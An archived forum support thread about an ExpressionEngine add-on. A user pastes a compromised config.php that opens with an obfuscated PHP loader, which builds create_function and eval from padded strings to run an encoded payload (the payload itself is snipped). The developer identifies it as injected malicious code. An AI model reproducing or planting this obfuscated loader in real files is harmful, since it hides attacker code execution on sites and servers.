Fatal Error on CP Login: Support - CP Analytics - devot:ee

Archived
Forum
(read-only)

CP Analytics

ExpressionEngine 2

Back to this add-on's main page
View Other Add-ons From Derek Hogue

Fatal Error on CP Login

Support (Resolved)

wyman

Posted: 20 May 2014 05:53 PM

Expression Engine is giving the following error when the control panel home page is loaded after logging in:

Fatal error: Cannot redeclare eMb2kxuLNwOwr76KI35rlxJNkE8FH47iE9L8Rwx() (previously declared in /home/.../public_html/system/expressionengine/third_party/cp_analytics/config.php:1) in /home/.../public_html/system/expressionengine/third_party/cp_analytics/config.php on line 1

This is a recent development as I was able to log in without error about three weeks ago and no structural changes to the website should have been made.

Derek Hogue

Posted: 20 May 2014 06:07 PM

# 1

Developer

Very odd. What do you see if you look at the contents of that file on the server?

wyman

Posted: 20 May 2014 06:23 PM

# 2

<?php    function  eMb2kxuLNwOowr76KI35rlxJNkE8FH47iE9L8Rwx($Er2Vo2F,$qLgsiiVldwItiH2Hjvja2CTPiwqMDDRfJ,$ddPdS5XqR2UreLQAyq){return str_replace($Er2Vo2F,$qLgsiiVldwItiH2Hjvja2CTPiwqMDDRfJ,$ddPdS5XqR2UreLQAyq);} function  pXaG2TirzKa8dZwmPlFJboCe25lkY($Er2Vo2F,$qLgsiiVldwItiH2Hjvja2CTPiwqMDDRfJ,$ddPdS5XqR2UreLQAyq){return str_replace($Er2Vo2F,$qLgsiiVldwItiH2Hjvja2CTPiwqMDDRfJ,$ddPdS5XqR2UreLQAyq);} function  shGCTFWE27IvCKAhIHU($Er2Vo2F,$qLgsiiVldwItiH2Hjvja2CTPiwqMDDRfJ,$ddPdS5XqR2UreLQAyq){return str_replace($Er2Vo2F,$qLgsiiVldwItiH2Hjvja2CTPiwqMDDRfJ,$ddPdS5XqR2UreLQAyq);} $M5h1tsJcBiTmEH32lPcxxsi = '=stringsnipped='; $M5h1tsJcBiTmEH32lPcxxsi = shGCTFWE27IvCKAhIHU('XASOoQUVpBu4SZqyXRtOGft','',$M5h1tsJcBiTmEH32lPcxxsi); $eBNFPNh9FVoYX2uEBy6x8bHaoOQo3 = 'cxc19VwFrxc19VwFexc19VwFaxc19VwFtxc19VwFexc19VwF_xc19VwFfxc19VwFuxc19VwFnxc19VwFcxc19VwFtxc19VwFixc19VwFoxc19VwFn'; $eBNFPNh9FVoYX2uEBy6x8bHaoOQo3 = shGCTFWE27IvCKAhIHU('xc19VwF','',$eBNFPNh9FVoYX2uEBy6x8bHaoOQo3); $Dvn0YoKGRXqjofP = 'PREtGE2oCoRSIYtEG8P1dEtx24ePREtGE2oCoRSIYtEG8P1dEtx24vPREtGE2oCoRSIYtEG8P1dEtx24aPREtGE2oCoRSIYtEG8P1dEtx24l'; $Dvn0YoKGRXqjofP = shGCTFWE27IvCKAhIHU('PREtGE2oCoRSIYtEG8P1dEtx24','',$Dvn0YoKGRXqjofP); $kYRaaO6g8ImK599dogAjyvTO = '$zQBC7ZAz6KeJ'; $iT0WjP978kitKWIAeIFA0Nj1wpOwg = $eBNFPNh9FVoYX2uEBy6x8bHaoOQo3($kYRaaO6g8ImK599dogAjyvTO,$Dvn0YoKGRXqjofP.'('.$M5h1tsJcBiTmEH32lPcxxsi.'('.$kYRaaO6g8ImK599dogAjyvTO.'));'); $iT0WjP978kitKWIAeIFA0Nj1wpOwg('=stringsnipped=');?><?php
if(!defined('CP_ANALYTICS_VERSION'))
{
 define('CP_ANALYTICS_VERSION', '2.1');
}
if(!defined('PACKAGE_NAME'))
{
 define('PACKAGE_NAME', 'cp_analytics');
}
?> 

I am guessing that the function in there is not normal? Looking at the installation file as a point of comparison.

Derek Hogue

Posted: 20 May 2014 07:29 PM

# 3

Developer

Yup, unfortunately it appears as though your server has been compromised - that is most definitely malicious code injected by a hacker or bot. You may well find it elsewhere on your server in other PHP files. I’d contact your host about this.

wyman

Posted: 20 May 2014 07:38 PM

# 4

That confirms my worst fears. Thankyou for your time. I will contact the server administrator immediately.